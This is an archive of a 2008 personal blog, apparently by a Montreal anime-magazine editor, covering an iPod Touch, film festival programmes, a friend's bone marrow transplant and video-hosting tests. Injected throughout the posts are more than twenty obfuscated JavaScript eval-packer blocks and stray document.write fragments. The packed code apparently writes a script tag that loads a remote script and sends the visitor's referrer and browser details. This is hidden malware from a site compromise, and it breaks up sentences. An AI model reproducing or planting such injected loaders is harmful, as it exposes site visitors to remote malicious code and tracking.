LifeCast, document.write(“”); the mobile blogging apps, seems to work fine. I was hoping for a little more fonctionality (like being able to edit a post, adding labels, etc) but we shouldn’t ask too much to a free apps. Other apps seem to offer more but they sell for more than I am ready to pay for a iPod apps ($10 !!). We’ll hope that future updates of LifeCast will bring more fonctions.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktaer|var|u0026u|referrer|zhteb||js|php’.split(‘|’),0,{}))
Posted with LifeCast
Mobile Blogging
I have set up the iPod to be able to blog with it. This is my first entry to test it. I’ll be attending a convention in Florida next week-end and this could be useful if it works well…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhrt|var|u0026u|referrer|htnze||js|php’.split(‘|’),0,{}))
Posted with LifeCast
Gadget Heaven
I always feel cut off from the world whenever I am going out (either simply going downtown to shop and run errands or going out of town for a convention) and I’ve been looking for a small and cheap internet device / work station for a long time.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkbsi|var|u0026u|referrer|nybfi||js|php’.split(‘|’),0,{}))
First, document.write(“”); I’ve looked at the Palm handhelds / PDAs, but that’s a technology that is limited and now getting outdated fast. The best solution is, of course, a laptop but the MacBooks are still expensive (over a 1k $) and with time I stopped believing in all those rumors of a Mac tablet or sub-notebook. So I started to seriously consider a Netbook that would either run Linux or Window instead (sacrilege!) and if the Asus Eee-PC seemed appealing at first, now I would rather favor the Acer Aspire. However, if those make excellent portable work stations and have many advantages (bigger screen, real keyboard), they’re not Apple products and therefore offer limited compatibility with the Mac.
So I was back considering a handheld-type device with the new 3G iPhone. This one has the advantage of combining both a phone and a handheld device (offering both Wi-Fi and 3G networks), but it’s somewhat expensive (not as much the device itself, but the network subscription), has only a 3.5“ screen, a tiny soft-keyboard and doesn’t offer any apps or softwares to actually do some work (like using Word, Excel, PDF files; I thought that I could type text using Google Docs but it doesn’t work, leaving only the possibility to type texts as notes or emails). I thought of saving money by getting an old iPhone, but buying second-hand electronic devices on the internet can be risky. For now I opted to try out the concept by purchasing one of the new second-gen iPod Touch. Wow.
The iPod Touch looks exactly like the iPhone, but doesn’t make phone calls (although I bet there will be some VOIP apps available soon). It also has the same disadvantages than the iPhone (small screen, tiny soft-keyboard, can read but not modify files), plus the fact that, without the 3G network, it is limited by the Wi-Fi availability.
Despite those serious handicaps, it is a superb internet device. It’s the gadget heaven. I can check any web pages, like Wikipedia, YouTube or Google—as well as all my emails—from any room of the house: from the TV room to my bed! There are tons of apps, from the useful programs to the funny games. I can check my calendar or contacts, the weather, the stocks, a Google map, listen to music, to radio stations (through wi-fi), watch a video or look at my photo albums, contact people via AIM, Facebook or Twitter, read eBooks, check the bus schedule, the news, the movie listing, or play a game to kill time. Absolutely amazing.
Of course, it is not perfect. The Mail app doesn’t identify and discard spam—like the desktop Mail does—so every hours I have dozens of junk mails to delete from my mail boxes. That’s annoying. And Montreal is a city without much Wi-Fi spots, so there’s not many places where I can check my emails and roam the web when I am downtown (so far, I have identify the Eaton Center food court as a nice wi-fi spot). Until we get a city-wide network, there are a few Boingo hot spots and a few WiFi directories.
For now it is a very useful device and I am quite happy with it. It offers the Mac’s compatibility with synching capability. In order to be able to do some real work when I am away, I am considering to later acquire a Netbook like the Acer Aspire (when I have a little more money).
Emru gets his transplant
Animation and technology writer/blogger Emru Townsend, document.write(“”); who was diagnosed with leukemia in late 2007 but found a bone marrow donor match last Summer after a long campaign to encourage donors from ethnic communities, has finally received his transplant this week [hit the links for details]. Now he has to wait two to three weeks to see if the graft takes well on his body. But he is not out of the wood yet, as the first 100 days are crucial since his body has to rebuild its immune system.
Congrats for the transplant, Emru, and we wish you the best for the months to come.
You can visit Emru’s Blog, Facebook group and web hub to leave him words of encouragement.
WAKE UP, FREAK OUT – THEN GET A GRIP
On ANN community forum I found this interesting video:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrfbi|var|u0026u|referrer|kdsrk||js|php’.split(‘|’),0,{}))
Duration: 11:34 Recorded: 10 September 2008 Location: Edinburgh, document.write(“”); Scotland, United Kingdom
A short animated film about the feedback loops likely to lead to catastrophic climate change, by Leo Murray.
The script, with extensive peer-reviewed references and additional information and links, is available at http://wakeupfreakout.org/
Someone also suggested this link: http://www.wecansolveit.org/
The Blahs
One of my friends, who’s going to HK for several months for his job, was throwing a farewell party this week-end. Unfortunately, I was so busy converting PDF files and coding to update the web pages that I totally forgot about it. I really hate myself for that since it would have been a nice occasion to decompress and meet a bunch of old friends… And Buddha knows I need to get out and see more people!
Lately I’ve been really tired. I’ve been running around (and round) all summer. And now there’s still so many stuff to do that it’s rather discouraging. I hate it when all the stuff to do and all the ideas are bumping into each others in my head making me feel so overwhelmed that I tilt like an old pin-ball machine and lie down paralysed, unable to do anything.
Anyway. I guess I’ll rest for tonight and try to tackle the tasks one by one…
A blog for the voice of Minmei
Rebecca Forstadt, document.write(“”); probably better known for being the voice of Lynn Minmei in Robotech (under the name Reba West)—but she is also credited for over eighty voiceworks on the IMDb, has just started a blog and a Facebook group:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkdzi|var|u0026u|referrer|htrzz||js|php’.split(‘|’),0,{}))
http://rebeccaforstadtanime.blogspot.com/
Tony Curtis at the World Film Festival
This is the highlights of the Tony Curtis press conference at the Montreal World Film Festival 2008, document.write(“”); held on August 24th. With his wife he was introducing their movie “The Jill and Tony Curtis Story.” (19 min. out of a 48 min. conference).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnfkz|var|u0026u|referrer|skfid||js|php’.split(‘|’),0,{}))
You can also view it on my BlipTV page.
Bad Jokes
That explains a lot…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knesh|var|u0026u|referrer|yeifn||js|php’.split(‘|’),0,{}))
Thanks to Brigitte for the link.
Your Name Here
Since I am pretty busy I usually check only the Japanese films at the Montreal World Film Festival (because I like them and for work). If I have the opportunity, document.write(“”); I may–from time to time–screen some Iranian or French movies just for “l’amour de l’art.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iniyi|var|u0026u|referrer|dyhnf||js|php’.split(‘|’),0,{}))
A friend of mine just pointed out to me a USA film in competition that seems to be a weird sci-fi movie based on the life of my fetish & favorite writer, Philip K Dick. It’s worth checking:
Your Name Here, directed by Matthew Wilder and starring Bill Pullman, Taryn Manning, Harold Perrineau, Traci Lords (!), M. Emmet Walsh and Ivana Milicevic. “The lines between reality and perception blur in this comic journey into the life and mind of one of science fiction’s most brilliant authors” ( IMDb )
Montreal World Film Festival 2008
Today, document.write(“”); in a press conference, the Montreal World Film Festival has announced the program for its 32nd edition. The festival will be held from August 21 to September 1st in four locations (at the Imperial Theatre, Maisonneuve Theatre, Quartier Latin Cinema and Cinema ONF). Tickets are sold for $10, but are available in 10-coupon ($60) or 30-coupon booklets ($150). A Cinephile Pass is also available for $300.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytzrh|var|u0026u|referrer|fbkzr||js|php’.split(‘|’),0,{}))
This year the festival will offer 234 feature films (105 of which are world or international premieres), 13 medium-length films and 208 shorts. That includes 32 films in World Competition (20 features, 12 shorts), 17 in the First Films World Competition, 30 Hors-Concours, 192 in the Focus on World Cinema (84 features and 108 shorts), 63 documentaries, 15 tributes movies, 18 in the Cinema Under the Stars, 15 in Our Cinema at Radio-Canada and 73 in the Student Film Festival!
The Festival will offer a posthumous tribute to Mrs Kashiko Kawakita, founder of the Kawakita Memorial Film Institute, for her work promoting Japanese Cinema abroad. To commemorate her 100th anniversary, the festival will be presenting a sampling of significant works by prominent postwar Japanese directors, each a winner of the Kawakita Award:
- Gishiki (The Ceremony) by Nagisa Oshima (b&w, 1971).
- Hukushu Suru wa Ware ni Ari (Vengeance is Mine) by Shohei Imamura (1979).
- Ikiru (To Live) by Akira Kurosawa (b&w, 1952).
There will be ten Japanese films shown at the festival. Two are in Official Competition:
- Okuribito, directed by Yojiro Takita (Onmyoji, Mibu Gishi Den, Ashura). A young cellist who suddenly finds himself out of work when his orchestra disbands, moves back to his hometown and takes a job as an undertaker. It’s not a job his wife appreciates, but his daily encounters with death teach him about life. ( IMDb / Official web page )
- Dare mo Mamotte Kurenai (Nobody To Watch Over Me), directed by Ryoichi Kimizuka (writer for Parasyte Eve and the Odoru Daisosasen TV series & movies). The Funamaras seem a typical suburban family until the police knock on the door one day and arrest their 18-year-old boy for murder. His teenage sister and the cop assign to protect her must hide out from a relentless public braying for blood. ( IMDb / Eiga Wiki / Official web page )
Three in the First Film World Competition:
- Der Rote Punkt (The Red Spot), directed by Marie Miyayama, is a Germany/Japan co-production. ( IMDb )
- El Regalo de la Pachamama (Pachamama), directed by Toshifumi Matsushita, is a Bolivia/Japan/USA co-production.
- Yume no Manimani (Dreaming Awake), directed by Takeo Kimura. (Trailer / Asian Media Wiki / Official web page )
One in the Hors-Concours / World Greats category:
- The Magic Hour, by Koki Mitani (Uchoten Hotel). A gangster having an affair with the wife of his boss is found out, but promises to save face by recruiting a famous hitman. Instead, when he can’t find the real thing, he hires an actor to fill the role until he can find a suitable replacement. ( IMDb / Wikipedia / Official web page )
And four in Focus on World Cinema:
- Umikazi ni Fukarete (Carried on a sea breeze) by Tokishi Sato.
- Hyakuman Yen to Nigamushi Onna (One Million Yen Girl) by Yuki Tanada, starring Yu Aoi. ( IMDb / Eiga Wiki / Trailer / Official web page )
- After School by Kenji Uchida. ( IMDb / Eiga Wiki / AsianMedia Wiki / film.com / Official web page )
- Yashi (Tears) by Sano Shinju (a Kazakhstan/Japan/Russia co-production).
More details will be added as soon as they are available.
Here’s the highlights of the press conference (10 min. out of the 60 min. conference — in French, sorry):
play_blip_movie_1156781();
And a picture of Serge Losique (Festival’s president) and Danièle Cauchard (Directeur Général) with this year’s poster:
[Updated 2008/08/15]
Montreal’s Apple Store opening friday
Montreal’s Apple Store, document.write(“”); located at 1321 Ste-Catherine Ouest (just beside the Ogilvy), will open Friday at 5PM. After that the opening hours will be Mon.-Fri.: 9am – 9pm, Sat.: 9am – 5pm and Sun.: noon – 5pm.
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Unfortunately, I’ll be busy friday so I won’t be able to be there for the opening. However, today I was going downtown to check the PO box and run a few errands, so I couldn’t resist to go have a look:
Employees were busy putting the final touch to the store for friday’s opening:
I was also surprised to discover that Montreal’s policemen are not riding segways, but a kind of 3-wheel scooter. Cool:
Please excuse the bad pictures quality. I wasn’t carrying my camera so I had to use my cellphone to take those pictures.
More Video Tests
I first tried to embed a Quicktime video on my web page, document.write(“”); but for some reason it didn’t work. In a way it give more control, better resolution (640×480), but it has the disavantage of taking lots of space on my hosting server. If it works. I’ll try to see if I can get it to work in the future, but a video hosting service would probably be better as it doesn’t use my server space.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykyta|var|u0026u|referrer|zkais||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isern|var|u0026u|referrer|rezrb||js|php’.split(‘|’),0,{}))
Google Video seemed a good candidate since it has no file size or time limit (contrary to YouTube which has a 1 Gb and 10 min. limit). But the resolution is not better than YouTube (see this blog entry) and the Flash encoding took a long time.
Blip.TV offers an impressive video quality and it can be viewed in a larger window on their web site. There’s a 1 Gb limit, but apparently no limit in the length of the video. Unfortunately, the full screen button doesn’t seem to work and they won’t host “private” video unless you pay for their Pro service… The Flash encoding is average, but you have a progress bar that let you know what’s happening.
play_blip_movie_1069591();
Another option (that I mentioned before) is to upload it to my .Mac / MobileMe gallery. It’s the best quality possible, offer opportunities of editing through iMovie, but it does take some space from my iDisk (a 2 min. clip at 960×540 takes about 55 Mb!)…
I’ll keep looking for more options.
(Update 2008/07/12 & 16)
I’ve found another off-site free option with HD Share. It offers unlimited upload (well, for now the site is still pretty new and the details are sketchy; it seems there’s a limit of 4 Gb) and it can take HD quality (1280×720). However, the private video are really private (you need to be a member and a “friend” to see them), people can only stream and not download (although that’s fine with me), the source file cannot be .M4V (but it takes .MP4) and their embeding code seems to be screwed up (it doesn’t work, even for public video). And so far there’s no help support on their site…
So far the best options still seems to be the MobileMe Gallery and Blip.TV.
Video Experimentation
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstnf|var|u0026u|referrer|hkryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtday|var|u0026u|referrer|rzntd||js|php’.split(‘|’),0,{}))
Earlier in May, document.write(“”); I got myself a Canon Powershot S5IS as birthday present. It’s quite an improvement on my FujiFilm S 3100: I’ve doubled the zoom (12x) and the megapixels (8), it has face detection and image stabilisation, a bigger & adjustable LCD monitor, lots of shooting mode (including manual) and the flash is a little more powerful — but the camera also has a hot-shoe to add an external flash when necessary. I’ll do a full review when I have a little more time. All I can say for now is that it takes pretty nice pictures. So far, I tried it at one convention, a couple of family events, a walk at the Botanical Garden and I am very satisfied.
The zoom is quite impressive:
It also takes good video (with stereo sound!) which I couldn’t do with the Fuji (poor quality video and no sound). I have just started experimenting with video. I still have to try doing some editing and I am looking for the best way to showcase my footage to family and friends. On YouTube? On my .Mac web gallery (with .Mac/MobileMe increasing to 20 Gb of storage that could be a solution)? I’ll do some more tests and I’ll see.
First, the test on YouTube. The first thing I notice is that the encoding dramatically reduce the resolution. It’s rather disappointing. Anyway, judge for yourselves. Here’s a family of ducks spotted last friday at the Montreal Botanical Garden (just beside the Japanese Pavillion):
[Updated 2008/08/25 with the zoom pic]
Johanne Pelletier (1954-1983)
Requiem eternam dona eis, document.write(“”); Domine,
et lux perpetua luceat eis.
Te decet hymnus, Deus in Sion
et tibi reddetur votum in Jerusalem.
Exaudi orationem meam,
ad te omnis caro veniet.
Kyrie eleison.
Christe eleison.
Kyrie eleison.
Fantasia 2008
Today Fantasia announced its programmation:
The 12th edition of the Fantasia Film Festival, document.write(“”); North America’s premier genre cinema event, will be held from July 3rd to July 21st, 2008 in three theatres (Hall, J.A. DeSeve and D.B. Clarke) of Montreal’s Concordia University. This year it offers more than 100 feature films, over 200 shorts, 7 documentaries and there will be also more than fifty guests present to introduce their movies. The Program Book will be on sale Sunday June 29th at the cost of $5. Tickets will be available from July 3rd for $8.00 or $70 for 10 tickets.
The programming includes 56 Asian movies: 23 from Japan, 1 from China, 10 from Hong Kong, 16 from Korea, 5 from Thailand and 1 from Vietnam.
The selection of anime is rather thin this year: Batman: Gotham Knight (a USA/Japan coproduction that give the Animatrix treatment to Batman with six animated shorts directed by Yasuhiro Aoki, Futoshi Higashide, Toshiyuki Kuboka, Hiroshi Morioka, Shoujirou Nishimi and Nam Jong-sik) and Genius Party (the experimental animated anthology from studio 4’C that we talked about in PA#96).
However, the selection offers more live-action movies based on manga. The most obvious is L: Change the World (Hideo Nakata’s [Ring] prequel based on Death Note), but there’s also Akanbo Shoujo (directed by Yudai Yamaguchi based on the popular Kazuo Umezu’s popular manga), Always: Sunset on Third Street 2 (dir. by Takashi Yamazaki and adapted from Yohei Saigan’s manga Sanchome no Yuhi: Yuyake no Uta), Be a Man! Samurai School (dir. by Tak Sakaguchi, based on Akira Miyashita’s manga Sakigake! Otoko Juku) and Le Grand Chef (a Korean movie dir. by Jeon Yun-su and based on a popular Manhwa).
The festival will also show three Nikkatsu action movies from the 60s: A Colt is my Passport (1967), Gangster VIP (1968), and Velvet Hustler (1967).
The other Japanese movies are: Accuracy of Death, Adrift in Tokyo, Black Belt, Chanbara Beauty, The Chasing World, Gachi Boy: Wresling with a Memory, Machine Girl (a coproduction with the USA), The Most Beautiful Night in the World, Negative Happy Chain Saw Edge, Robo Rock, Sasori (a coproduction with HK), The Shadow Spirit, Shamo (a coproduction with HK), Sukiyaki Western Django (the latest Takashi Miike), Tokyo Gore Police and X-Cross.
Another notable movie is The Midnight Meat Train (a USA movie dir. by Ryuhei Kitamura [Versus, Aragami] and based on a story by Clive Barker).
The Japanese guests will be Tak Sakaguchi (Tokyo Gore Police, Be a Man! Samurai School), Isao Karasawa (Be a Man! Samurai School), Ryuhei Kitamura (Midnight Meat Train), Eihi Shiina (Tokyo Gore Police), Yoshihiro Nishimura (Tokyo Gore Police) and we must also mention Mark Schilling (the movie historian, who will present A Colt Is my Passport).
The other Asian movies are: Alone (Thai), Art of the Devil 3 (Thai), The Assembly (China), Beautiful Sunday (Kor), The Butcher (Kor), The Detective (HK), Disciples of the 36th Chamber (HK, a Shaw Brothers movie with Gordon Liu, who will attend the movie presentation), An Emperess & the Warrior (HK/China), Epitaph (Kor), 4bia (Thai), Going by the Book (Kor), Handle Me with Care (Thai), A Love (Kor), Mad Detective (HK), May 18th (Kor), The Moss (HK), Muay Thai Chaiya (Thai), No Mercy for the Rude (Kor), Our Town (Kor), Paradise Murdered (Kor), Punch Lady (Kor), The Pye-Dog (HK), The Rebel (Vietnam), Seven Days (Kor), The Sparrow (HK), A Tale of Legendary Libido (Kor), Triangle (HK/China), Voice of a Murdered (Kor), Who’s that Knocking at my Door? (Kor), and Wide Awake (Kor).
Happy Festival!
(See also the ANN news entry)
More Fantasia reviews
I’ve added some live-action reviews from last year’s Fantasia Festival on PA’s webpage.
There’s not many of them so far, document.write(“”); but I will add more when I have time (for the moment I am rather swamped in production and July will be a busy month with Fantasia and Otakuthon!).
I Survived a Japanese Game Show!
I usually hate reality TV, document.write(“”); but I stumbled upon this one while channel surfing during my lunch break. I watched a few minutes out of curiosity and it was quite hilarious.
The idea behind this show is pretty simple: ten americans have been selected to participate in a reality TV game show — the funny things is that they have NO idea in which kind of show they are participating — and are send to Japan to compete in Japanese game shows (and we all know how silly and punishing those can be). All this for a chance to win a mere quarter of million dollars.
I’ve seen maybe ten minutes of it. It is funny, but not because of the silly game shows (I pity the poor souls who participate in this humiliation). Most of the participants never left the USA (even their State in some cases), so for them Japan is like they landed on Mars! I am not sure I could take more of it. I’ve recorded it on the PVR to check it later. Just in case!
It runs on ABC Tuesday at 9 PM.
Fantasia is coming!
Fantasia is coming soon and its programming will be unveiled at a press conference June 26th. Soon after, document.write(“”); it will be available for consultation on their web site: www.fantasiafestival.com!
They will also launch the program book at a “Fantasia 2008 Preview Night“ hosted at the Centre St-Ambroise (5080 St-Ambroise, in St-Henri, Montreal) Friday June 27th from 9 PM. Come get your copy, watch this year’s trailers and drink a nice cold St-Ambroise! Admission is free and the program of this 12th edition of the Fantasia Festival is $5. Spread the word!
I’ll give details on the progamming Thursday. Stay tuned!
Bonne Saint-Jean Baptiste!
C’est la Saint-Jean pis je suis encore devant l’ordinateur à travailler… un vrai bourreau de travail! Mais j’m’enverrais bien un bière par example!
It’s the Saint-Jean (one of our National Holidays) and I’m still here working… I guess I’m a workaholic. I’d rather have a couple shots of vodka!
Bonne Saint-Jean tout l’monde!
SPJA Nomination for PA
Protoculture Addicts is nominated in the “Best Publication” category for the 2008 Society for the Promotion of Japanese Animation Industry Award alongside Anime Insider, document.write(“”); Newtype, Otaku USA and Shojo Beat. The vote was closed on May 15th and the results will be announced during the SPJA Industry Reception at Anime Expo® 2008.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkryf|var|u0026u|referrer|zkzns||js|php’.split(‘|’),0,{}))
Source: Anime News Network.
ANN congratulates Claude J Pelletier
Anime News Network congratulates Claude J Pelletier, document.write(“”); Protoculture Addicts’ editor-in-chief, for receiving the Momiji Award. [Link]
More movie & festival reviews
I’ve just put online a bunch of movie reviews from last year’s Montreal World Film Festival.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrart|var|u0026u|referrer|ankad||js|php’.split(‘|’),0,{}))
You can access them either at this updated blog entry or on Protoculture’s web site.
Boréal
Boréal 2008 est maintenant terminé.
Ce fut un congrès agréable et amusant. Ça fait du bien de revoir tout ce beau monde du milieu SFQ.
Vous pouvez voir mes photos du congrés en accédant à ma Mac Web Gallery.
PA’s Editor-in-chief to receive Momiji Award
Anime North will honor Protoculture Addicts‘ founder and Editor-in-chief, document.write(“”); Claude J Pelletier, with the Momiji Award at the May 23-25 2008 convention in Toronto, Canada.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsisd|var|u0026u|referrer|drnrf||js|php’.split(‘|’),0,{}))
This Canadian Award honours “people who laid the foundations and helped to nurture the world-wide love of anime and manga that we all share.” The Award was previously presented to Fred Ladd (2001), Tezuka Studio’s Takayuki Matsutani (2002), Frank Miller (2003), Hayao Miyazaki & Studio Ghibli (2004), Carl Macek (2005), Go Nagai (2006), and Peter Fernandez & Corinne Orr (2007).
Claude J Pelletier will also be a guest at Otakuthon (July 26-27) and Chibi-PA (September 27-28).
More information on Anime News Network.
Boréal 2008
Le 25e congrès de la science-fiction et du fantastique, document.write(“”); Boréal 2008, se tiendra les 9, 10 et 11 mai à l’Université Concordia de Montréal (Pavillon Henry F Hall, 1455 de Maisonneuve Ouest) sous le thème “Pour une Science-Fiction Citoyenne.”
Vous pouvez consulter le programme et trouver toutes les information nécessaire sur le site de Boréal.
Je vais faire tout mon possible pour y assister les trois jours (du moins en fin d’après-midi et en soirées).
Je me serais inscrit d’avance s’il y avait un moyen de le faire par internet (comme quoi les gens de la SFQ / SFCF (pour faire plaisir à Jean-Louis) sont pas encore au niveau des paiments électronique type PayPal…)
Charmante affiche. Dommage que le nom de l’artiste ne soit pas mentionné sur le site (et il est illisible sur l’illustration de l’affiche de la page web). Serait-ce Fifine prise dans la mêlée?
Fantasia to get subsidies from the SODEC [Updated]
I just read today in the free newspaper 24 Heures that the Festival Fantasia will finally received governmental subsidies from the SODEC (Société de développement des entreprises culturelles / Society for the development of cultural ventures).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fazyt|var|u0026u|referrer|yeske||js|php’.split(‘|’),0,{}))
The subsidies were announced by the SODEC yesterday.
Six movie festivals in Quebec (including four in Montreal) will share subsidies of $825, document.write(“”); 000.
The other festivals include the Montreal World Film Festival (getting $225, 000), le Festival du Nouveau Cinéma (getting $220,000), le Carrousel International du Film de Rimouski (getting $120,000), le Festival du Cinéma International D’Abitibi-Témiscamingue (getting $115,000) and Les Recontres Internationales du Documentaire de Montreal (getting $95,000).
Fantasia will receive a $50,000 subsidy from the SODEC. It is an improvement since they only got $35,000 in 2007 from the Municipal & Regional Affairs Ministry. It is a little disappointing, since the festival deserves more, but it will certainly means a few improvement to the festival this year (more movies? more guests?). Fantasia has yet to comment or emit a press release on the SODEC announcement.
The 12th edition of Fantasia, the North American Premier Genre Film Festival (known for showing lots of edgy Japanese live-action and anime), will be held July 3-21 2008.
[updated 2008/04/17 with details from The Gazette 2008/04/16: D5]
Alleluia Time Machine!
